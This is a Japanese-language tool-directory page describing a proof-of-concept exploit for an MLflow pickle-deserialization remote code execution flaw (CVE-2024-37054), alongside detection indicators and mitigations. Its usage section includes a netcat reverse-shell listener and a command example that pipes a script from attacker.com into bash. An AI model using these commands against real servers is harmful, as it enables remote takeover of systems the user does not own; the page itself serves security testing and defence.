Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ben-slates/cve-2024-37054
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubben-slates/cve-2024-37054

CVE-2024-37054

CVE-2024-37054の概念実証エクスプロイト。MLflow Tracking Serverにおけるpickle逆シリアル化RCEです。認証済みリモートコード実行のために、アーティファクトの上書きとペイロードの配信を自動化します。

リポジトリを見る
53ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-37054 — MLflow Pickle Deserialization RCE

Python CVE CVSS Affected License

MLflow Tracking Server における重大な pickle デシリアライゼーション脆弱性の概念実証エクスプロイト。認証されたリモートコード実行を可能にします。

⚠️ 教育および許可されたセキュリティテスト専用です。自分が所有していないシステムや、明示的な書面による許可を得ていないシステムに対して使用しないでください。


脆弱性概要

フィールド値
CVE IDCVE-2024-37054
CVSS スコア8.8 (HIGH)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョンMLflow < 2.14.3
修正済みバージョンMLflow ≥ 2.14.3
脆弱性タイプCWE-502: 信頼できないデータのデシリアライゼーション
攻撃ベクトルネットワーク
必要な権限低(有効な認証情報)
ユーザー操作不要

説明

MLflow Tracking Server は、推論のためにモデルをロードする際に、Python の pickle モジュールを介してモデルアーティファクトをデシリアライズします。認証された攻撃者は、MLflow のアーティファクトリポジトリ内の python_model.pkl アーティファクトを、悪意のある pickle ペイロードで上書きできます。その後、モデルがロードされる(例:予測リクエスト時)と、ペイロードがデシリアライズされ、サーバー上で任意のコードが実行されます。

悪用の前提条件:

  • MLflow Tracking Server へのネットワークアクセス
  • 有効な MLflow 認証情報(デフォルトまたはそれ以外)
  • アーティファクトへの書き込みアクセス(認証された全ユーザーに付与)

影響

悪用に成功すると、MLflow サーバープロセスの権限レベルでリモートコード実行が発生し、システム全体の侵害、データの流出、水平移動、永続的なアクセスにつながる可能性があります。


エクスプロイトの仕組み

  1. モデル登録 — 正規のトレーニングデータセットをアップロードして新しい MLflow ランを作成し、標準アーティファクトを持つモデルバージョンを登録します。
  2. アーティファクトの上書き — python_model.pkl アーティファクトを、PUT /api/2.0/mlflow-artifacts/artifacts/... を介して細工された pickle ペイロードで置き換えます。
  3. デシリアライゼーションのトリガー — 予測リクエストにより、MLflow が侵害されたアーティファクトに対して pickle.load() を呼び出します。
  4. コード実行 — pickle の __reduce__ メソッドが os.system() を呼び出し、攻撃者のコマンドを実行します。

ペイロードは、cloudpickle ではなく os.system()(C 組み込み)を使用して、クロスバージョンの互換性を最大化し、Python バージョン固有のバイトコードの問題を回避しています。


インストール

必要条件: Python 3.7+、requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

使用方法

root@kitploit:~
# リスナーを起動
nc -lvnp 4444

# エクスプロイトを実行
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

例

root@kitploit:~
# デフォルト認証情報、基本的なリバースシェル
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# カスタム MLflow 認証情報
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# アプリログイン + MLflow 認証情報
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# リバースシェルの代わりにカスタムコマンド
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# 特定の実験をターゲット、遅いサーバー用に遅延を増やす
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# 詳細出力
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

オプション


検知

ネットワークインジケーター

  • /api/2.0/mlflow-artifacts/artifacts/ エンドポイントへの PUT リクエスト
  • python_model.pkl の予期しない変更タイムスタンプ
  • POST /api/2.0/mlflow/runs/search の直後にアーティファクトの変更が発生

ホストインジケーター

  • MLflow プロセスからの予期しない os.system() 呼び出し
  • MLflow ワーカープロセスから生成された Python サブプロセス
  • MLflow サーバーから未知のホストへのアウトバウンド接続

ログクエリ

root@kitploit:~
# アクセスログ内のアーティファクト変更
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# ファイル整合性監視
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

緩和策

即時対応:

  • MLflow を 2.14.3 以降 にアップグレード
  • デフォルトまたは弱い認証情報をすべて変更
  • MLflow API エンドポイントへのネットワークアクセスを制限
  • 改ざんの兆候がないか、アーティファクト変更履歴を監査

長期的対応:

  • モデルをロードする前にアーティファクト署名と整合性検証を実装
  • モデル署名の強制を導入し、可能な限り pickle ベースのモデルフレーバーを制限
  • MLflow 監査ログを有効にし、予期しないアーティファクト書き込みを警告

テスト済み環境

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • さまざまなデプロイ設定: ローカル、Docker、Kubernetes

参考文献

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: 信頼できないデータのデシリアライゼーション
  • MLflow ドキュメント — モデルレジストリ

免責事項

このツールは以下の目的のみを意図しています:

  • デシリアライゼーションの脆弱性を研究するセキュリティ研究者
  • 書面による許可を得て活動するペネトレーションテスター
  • 自身の MLflow デプロイメントを監査するシステム管理者
  • 管理されたラボ環境での教育目的

自分が所有していないシステムや、明示的な書面による許可を得ていないシステムでこのツールを使用しないでください。作者は誤用に対して一切の責任を負いません。


ライセンス

MIT — 詳細は LICENSE を参照してください。


連絡先

📧 [email protected]
🐛 問題を報告

ツールをダウンロード
引数説明
targetターゲットアプリケーションの URL
mlflowMLflow Tracking Server の URL
lhostリバースシェルコールバック用の攻撃者ホスト
lportリバースシェルコールバック用の攻撃者ポート
--mlflow-creds USER:PASSMLflow 認証情報(デフォルト: admin:password)
--app-usernameアプリケーションログインユーザー名
--app-passwordアプリケーションログインパスワード
--app-login-urlログインエンドポイントのパス
--upload-urlアップロードエンドポイントのパス
--predict-url予測エンドポイントのパス
--experiment-id ID特定の実験 ID をターゲット
--delay SECONDSステップ間の遅延(デフォルト: 2s)
--cmd COMMAND実行するカスタムコマンド
--verbose / --quiet出力の冗長性制御
--no-color色付き出力を無効化